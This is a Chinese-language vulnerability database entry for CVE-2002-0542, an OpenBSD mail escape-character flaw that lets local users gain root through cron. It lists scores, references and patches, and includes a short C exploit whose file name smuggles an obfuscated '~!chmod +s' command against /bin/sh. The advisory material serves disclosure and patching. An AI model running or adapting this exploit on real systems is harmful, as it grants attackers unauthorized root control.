CVE-2002-0542
CVSS7.2
发布时间 :2002-07-03 00:00:00
修订时间 :2016-10-17 22:20:33
NMCOE    

[原文]mail in OpenBSD 2.9 and 3.0 processes a tilde (~) escape character in a message even when it is not in interactive mode, which could allow local users to gain root privileges via calls to mail in cron.


[CNNVD]OpenBSD的mail存在执行任意命令的漏洞(CNNVD-200207-025)

        
        OpenBSD系统中的/usr/bin/mail是一款简单的邮件用户代理程序,也可以用于批处理模式,如运行CRON任务发送邮件给管理员。
        OpenBSD系统中的/usr/bin/mail在处理转义序列(~!command)不正确,可导致攻击者以运行mail的用户权限执行任意命令。
        当运行在非交互模式时程序/usr/bin/mail接收转义序列,当攻击者把转义序列插入到作为输入的流中传递给MAIL命令时,此转义序列就会被mail命令解析,导致可以以运行mail命令的用户权限执行任意命令或者读/写任意文件到系统上。
        因为当运行CRON任务时/etc/daily脚本输出管道方式传送给/usr/bin/mail就可能导致用户获得ROOT权限。
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:openbsd:openbsd:2.9OpenBSD 2.9
cpe:/o:openbsd:openbsd:3.0OpenBSD 3.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0542
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0542
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200207-025
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=101855467811695&w=2
(UNKNOWN)  BUGTRAQ  20020411 OpenBSD Local Root Compromise
http://online.securityfocus.com/archive/1/267089
(VENDOR_ADVISORY)  BUGTRAQ  20020411 local root compromise in openbsd 3.0 and below
http://www.iss.net/security_center/static/8818.php
(VENDOR_ADVISORY)  XF  openbsd-mail-root-privileges(8818)
http://www.openbsd.org/errata30.html#mail
(UNKNOWN)  CONFIRM  http://www.openbsd.org/errata30.html#mail
http://www.securityfocus.com/bid/4495
(VENDOR_ADVISORY)  BID  4495

- 漏洞信息

OpenBSD的mail存在执行任意命令的漏洞
高危 未知
2002-07-03 00:00:00 2005-05-02 00:00:00
本地  
        
        OpenBSD系统中的/usr/bin/mail是一款简单的邮件用户代理程序,也可以用于批处理模式,如运行CRON任务发送邮件给管理员。
        OpenBSD系统中的/usr/bin/mail在处理转义序列(~!command)不正确,可导致攻击者以运行mail的用户权限执行任意命令。
        当运行在非交互模式时程序/usr/bin/mail接收转义序列,当攻击者把转义序列插入到作为输入的流中传递给MAIL命令时,此转义序列就会被mail命令解析,导致可以以运行mail命令的用户权限执行任意命令或者读/写任意文件到系统上。
        因为当运行CRON任务时/etc/daily脚本输出管道方式传送给/usr/bin/mail就可能导致用户获得ROOT权限。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 严格控制本地权限。
        * 去掉crontab中mail命令部分。
        厂商补丁:
        mail
        ----
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.0/common/018_mail.patch
        CVS更新:
        
        http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/mail/collect.c.diff?r1=1.23&r2=1.24

- 漏洞信息 (21373)

OpenBSD 2.9/3.0 Default Crontab root Compromise Vulnerability (EDBID:21373)
openbsd local
2002-04-11 Verified
0 Przemyslaw Frasunek
N/A [点击下载]
source: http://www.securityfocus.com/bid/4495/info

OpenBSD ships with a number of cron jobs configured by default. The tasks are for the purpose of summarizing system information.

The mail(1) utility is used to send the summaries to the root user. This utility supports escaped characters in message text indicating commands to be executed during processing.

If attacker-supplied data can be included in the message text passed to mail(1), commands specified by the attacker may be executed as root. If the attacker embeds the escape sequence followed by an arbitrary command in this data, the commands will be executed as root when the cron task runs. It is possible for an attacker to embed data in filenames, which are included in the emails. 

/*
 * (c) 2002 venglin@freebsd.lublin.pl
 *
 * OpenBSD 3.0 (before 08 Apr 2002)
 * /etc/security + /usr/bin/mail local root exploit
 *
 * Run the exploit and wait for /etc/daily executed from crontab.
 * /bin/sh will be suid root next day morning.
 *
 * Credit goes to urbanek@openbsd.cz for discovering vulnerability.
 *
 */

#include <fcntl.h>

int main(void)
{
        int fd;

        chdir("/tmp");
        fd = open("\n~!chmod +s `perl -e 'print \"\\057\\142\\151\\156\\057\\163\\150\"'`\n", O_CREAT|O_WRONLY, 04777);

        if (fd)
                close(fd);
}
		

- 漏洞信息

5269
OpenBSD mail Escape Character Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

OpenBSD contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when an eswcape character is passed to /usr/bin/mail in non-interactive mode. This flaw may lead to a loss of integrity.

- 时间线

2002-04-12 2002-04-08
2002-04-11 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, OpenBSD has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站